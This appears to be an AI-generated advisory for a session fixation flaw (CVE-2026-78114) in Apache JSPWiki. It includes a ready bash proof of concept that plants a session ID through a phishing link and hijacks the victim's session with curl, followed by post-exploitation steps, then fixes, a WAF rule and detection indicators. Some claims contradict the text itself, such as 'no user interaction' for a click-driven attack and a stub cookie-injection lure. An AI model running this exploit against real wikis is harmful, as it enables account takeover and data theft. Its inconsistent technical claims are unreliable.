CVE-2026-78114 — Apache Software Foundation Apache JSPWiki (3.0.0 — CWE-384
Session Fixation in the login flow of Apache JSPWiki versions 2.10 through 3.0.0 on all platforms. The session identifier was not replaced when a user authenticated, so an attacker who could set a known session identifier in the browser of a victim could use the same identifier after the victim logged in. Users are recommended to upgrade to version 3.0.1 (3.x) or 2.12.6 (2.x), which fix this issue.
Session Fixation in the login flow of Apache JSPWiki versions 2.10 through 3.0.0 on all platforms. The session identifier was not replaced when a user authenticated, so an attacker who could set a known session identifier in the browser of a victim could use the same identifier after the victim logged in. Users are recommended to upgrade to version 3.0.1 (3.x) or 2.12.6 (2.x), which fix this issue.
🎯 What is this vulnerability?
Vulnerability name: Session Fixation in Apache JSPWiki login flow
CVE‑ID: CVE‑2026‑78114
CWE: CWE‑384 (Session Fixation)
Technical flaw
Apache JSPWiki (versions 2.10 through 3.0.0) creates a session identifier (JSESSIONID) when a client first contacts the application. During the normal login process the server does not invalidate the existing session nor generate a new one after successful authentication.
What should happen:
1. An unauthenticated request → server creates a temporary session (e.g., JSESSIONID=abc123).
2. User submits credentials → server authenticates the user, invalidates the pre‑login session, creates a new session (e.g., JSESSIONID=def456) and binds the authenticated principal to it.
What actually happens:
1. The pre‑login session remains alive after authentication.
2. The authenticated principal is attached to the same session object that the attacker could have set beforehand.
Because the session identifier is never regenerated, an attacker who can force a known session ID into the victim’s browser (e.g., via a crafted link, a malicious sub‑resource, or a cross‑site scripting vector) can later reuse that exact ID after the victim logs in and obtain the victim’s authenticated session.
The flaw is purely logical – there is no missing input validation; the missing step is session regeneration on privilege elevation. This matches CWE‑384, which describes the failure to replace a session identifier after authentication, allowing an attacker to hijack the session.
The CVSS‑4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) confirms:
- Network‑only attack, no privileges required, no user interaction – the attacker can deliver the malicious session ID via any vector that the victim’s browser will accept (e.g., a link in an email, a malicious ad, or a reflected XSS).
- High impact on confidentiality, integrity, and availability of the web application because the attacker gains the victim’s full authenticated session, which in JSPWiki includes page edit, delete, and configuration capabilities.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; the exact endpoint (/Login.jsp) is derived from the typical JSPWiki login page but may differ in custom deployments.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the target web application. | Passive scanning (e.g., whatweb, wappalyzer) reveals “JSPWiki” in the X-Powered-By header or in the HTML comment <!-- JSPWiki 2.12.4 -->. |
| 1.2 | Determine the exact version. | - Grab /WEB-INF/web.xml (if directory listing is enabled) – it contains <display-name>JSPWiki 2.12.4</display-name>. <br>- Or request /jspwiki/ and parse the footer “Powered by JSPWiki 2.12.4”. |
| 1.3 | Verify that the version falls in the vulnerable range (2.10‑3.0.0). | Compare the extracted version string with the range. |
2. Exploitation
Goal: Plant a known JSESSIONID in the victim’s browser, then let the victim log in, after which the attacker re‑uses the same ID to hijack the authenticated session.
2.1. Attacker‑controlled session fixation
1. Generate a session ID that the server will accept. JSPWiki uses the standard servlet container (Tomcat, Jetty, etc.) which accepts any 32‑character hexadecimal string for JSESSIONID.
ATTACKER_SID=$(openssl rand -hex 16) # e.g., 4f2c9a7b3e1d5f8a9b0c1d2e3f4a5b6c2. Deliver the session ID to the victim. The most reliable method is an HTTP response header injection via a malicious sub‑resource (e.g., an image hosted on the attacker’s site) that forces the browser to set the cookie:
<!-- malicious.html hosted on attacker.com -->
<img src="https://victim.com/jspwiki/">
<script>
// Force the cookie via Set‑Cookie header in a response from attacker.com
// (requires the victim to visit attacker.com over HTTP; otherwise use a
// reflected XSS in the victim site to set document.cookie)
</script>Simpler approach (if the victim clicks a link):
<a href="https://victim.com/jspwiki/?jsessionid=${ATTACKER_SID}">Click here</a>The URL‑parameter jsessionid is recognized by the servlet container and forces the session ID.
3. Result: The victim’s browser now holds JSESSIONID=4f2c9a7b3e1d5f8a9b0c1d2e3f4a5b6c and a pre‑login session on the server.
2.2. Victim authenticates
The victim navigates to the login page (/Login.jsp) and submits valid credentials. Because JSPWiki does not regenerate the session ID, the server attaches the authenticated principal to the same session object (JSESSIONID=4f2c9a7b3e1d5f8a9b0c1d2e3f4a5b6c).
2.3. Attacker hijacks the session
The attacker now sends a request with the known session ID to any authenticated endpoint, e.g., the page‑edit form:
curl -s -b "JSESSIONID=${ATTACKER_SID}" \
"https://victim.com/jspwiki/Edit.jsp?topic=Main.HomePage"If the victim logged in successfully, the response will contain the HTML edit form, confirming that the attacker has the same privileges as the victim (often an administrator if the victim is an admin).
Full PoC (illustrative, assumes the victim clicks a crafted link):
#!/usr/bin/env bash
# Attacker side – generate a fixed session ID
ATTACKER_SID=$(openssl rand -hex 16)
echo "Generated session ID: $ATTACKER_SID"
# 1️⃣ Deliver the ID (example: phishing email with link)
PHISH_LINK="https://victim.com/jspwiki/?jsessionid=${ATTACKER_SID}"
echo "Send this link to the victim: $PHISH_LINK"
# 2️⃣ Wait for victim to authenticate (out‑of‑band)
# 3️⃣ After victim logs in, reuse the session
curl -s -b "JSESSIONID=${ATTACKER_SID}" \
"https://victim.com/jspwiki/Edit.jsp?topic=Main.HomePage" \
-o /tmp/page.html
if grep -q "<form" /tmp/page.html; then
echo "[+] Session fixation successful – attacker now has an authenticated session."
else
echo "[-] Exploit failed – session not authenticated."
fiNote: The exact servlet mapping (/Login.jsp, /Edit.jsp) may differ; replace with the real paths observed during reconnaissance.
3. Post‑exploitation
Once the attacker controls an authenticated session, they can:
| Capability | JSPWiki feature | Potential impact |
|---|---|---|
| Read | View any wiki page, including restricted pages (if ACLs are enabled). | Confidential data leakage (internal documentation, credentials stored in wiki). |
| Write | Edit, delete, or create pages (/Edit.jsp, /Delete.jsp). | Integrity breach – defacement, injection of malicious scripts, or planting of back‑doors (e.g., a page containing a web‑shell link). |
| Admin | Access the *Administration* UI (/Admin.jsp) if the victim is an admin. | Full control – change authentication settings, upload plugins, modify ACLs, or even disable the wiki. |
| Export | Use the *Export* function to download the entire wiki database (/Export.jsp). | Large‑scale data exfiltration. |
| Session persistence | The attacker can keep the session alive by periodically sending keep‑alive requests (/ or /Login.jsp). | Long‑term foothold without needing to re‑exploit. |
Because the attacker never needs to know the victim’s credentials, the attack is stealthy and can be automated at scale (e.g., mass‑phishing campaign targeting any JSPWiki installation).
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C) | High – attacker gains read access to all pages the victim can view, potentially exposing internal policies, source code, or credentials stored in the wiki. |
| Integrity (I) | High – attacker can modify or delete pages, inject malicious JavaScript, or change configuration files, leading to defacement or further compromise of internal users. |
| Availability (A) | High – attacker could delete critical pages, corrupt the wiki database, or lock out legitimate users by altering ACLs, causing service disruption. |
| Scope (S) | Changed – the impact spreads from the session object to the entire application (all pages, admin functions). |
| Privileges (PR) | None – no authentication required to start the attack. |
| User Interaction (UI) | None – the victim does not need to click a malicious button; merely visiting a crafted URL (or loading a malicious resource) is sufficient. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected versions | Fixed in |
|---|---|
| 2.10 – 3.0.0 (inclusive) | 2.12.6 (2.x branch) <br> 3.0.1 (3.x branch) |
Action: Upgrade the JSPWiki WAR/JAR to the latest stable release (≥ 2.12.6 or ≥ 3.0.1). The patch adds a call to request.getSession().invalidate() followed by request.getSession(true) after successful authentication, ensuring a fresh JSESSIONID.
2. Workarounds (if immediate patching is not possible)
| Mitigation | Implementation details |
|---|---|
| Force session regeneration via servlet filter | Deploy a custom javax.servlet.Filter that intercepts the login POST (/Login.jsp or the configured login URL) and forces a new session: <br>``java<br>public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {<br> HttpServletRequest request = (HttpServletRequest) req;<br> HttpServletResponse response = (HttpServletResponse) resp;<br> if ("/Login.jsp".equals(request.getServletPath()) && "POST".equalsIgnoreCase(request.getMethod())) {<br> HttpSession old = request.getSession(false);<br> if (old != null) { old.invalidate(); }<br> request.getSession(true); // creates fresh session<br> }<br> chain.doFilter(request, response);<br>}<br>` |
Set HttpOnly and Secure flags | Ensure cookies cannot be accessed via client‑side script and are only sent over HTTPS. Add to web.xml or server config: <session-config><cookie-config><http-only>true</http-only><secure>true</secure></cookie-config></session-config>. This does not fix fixation but reduces the attack surface for cookie‑theft vectors. |
| Shorten session timeout | Reduce session-timeout in web.xml (e.g., to 5 minutes) to limit the window an attacker can reuse a fixed ID. |
Block jsessionid URL rewriting | Disable URL‑based session tracking (disableURLRewriting="true" in servlet container) so the attacker cannot force a session via ?jsessionid=. This forces the attacker to rely on cookie injection, which is harder to achieve without XSS. |
| WAF rule (ModSecurity example) | Detect attempts to set a jsessionid parameter on login pages and block them: <br>`SecRule REQUEST_URI "@beginsWith /jspwiki/Login.jsp" "id:2026001,phase:2,block,msg:'Attempted session fixation',tag:'application-multi',tag:'language-java',tag:'cve-2026-78114'"`` |
| Network segmentation | Restrict access to the wiki to internal IP ranges or VPN only, reducing the pool of potential remote attackers. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
Repeated use of the same JSESSIONID across multiple IPs | Web server access logs (access.log) | 192.0.2.45 - - [25/Nov/2026:12:34:56 +0000] "GET /jspwiki/Edit.jsp?topic=Main.HomePage HTTP/1.1" 200 4523 "https://victim.com/jspwiki/Login.jsp" "Mozilla/5.0" "JSESSIONID=4f2c9a7b3e1d5f8a9b0c1d2e3f4a5b6c" |
jsessionid parameter present on login POST | Same log, query string | POST /jspwiki/Login.jsp?jsessionid=4f2c9a7b3e1d5f8a9b0c1d2e3f4a5b6c HTTP/1.1 |
| Sudden appearance of admin‑only URLs from a non‑admin IP | Access logs for /Admin.jsp, /Configure.jsp | 203.0.113.77 - - [25/Nov/2026:13:02:11 +0000] "GET /jspwiki/Admin.jsp HTTP/1.1" 200 10234 "-" "curl/7.88.1" |
| Session fixation attempts flagged by ModSecurity | ModSecurity audit log (modsec_audit.log) | Message: Attempted session fixation (rule ID 2026001). |
SIEM correlation: Trigger an alert when the same JSESSIONID value appears in logs from two distinct source IPs within a short time window (e.g., 5 minutes).
⚠️ Urgency
Patch priority: Critical – immediate.
Given the ease of exploitation and the potential for full administrative takeover, any delay beyond a few days dramatically increases the likelihood of compromise, especially in environments where the wiki is exposed to the internet or reachable by untrusted users.
Bottom line: CVE‑2026‑78114 is a classic session‑fixation flaw that grants an attacker unauthenticated, remote, and automatic hijack of any authenticated JSPWiki user. The fix is a single line of code (session invalidation) already shipped in the official releases; applying it—or a short‑term filter workaround—should be treated as a top‑priority remediation activity.
[🤖 CVE Professor AI Security Engine]
FOFA Query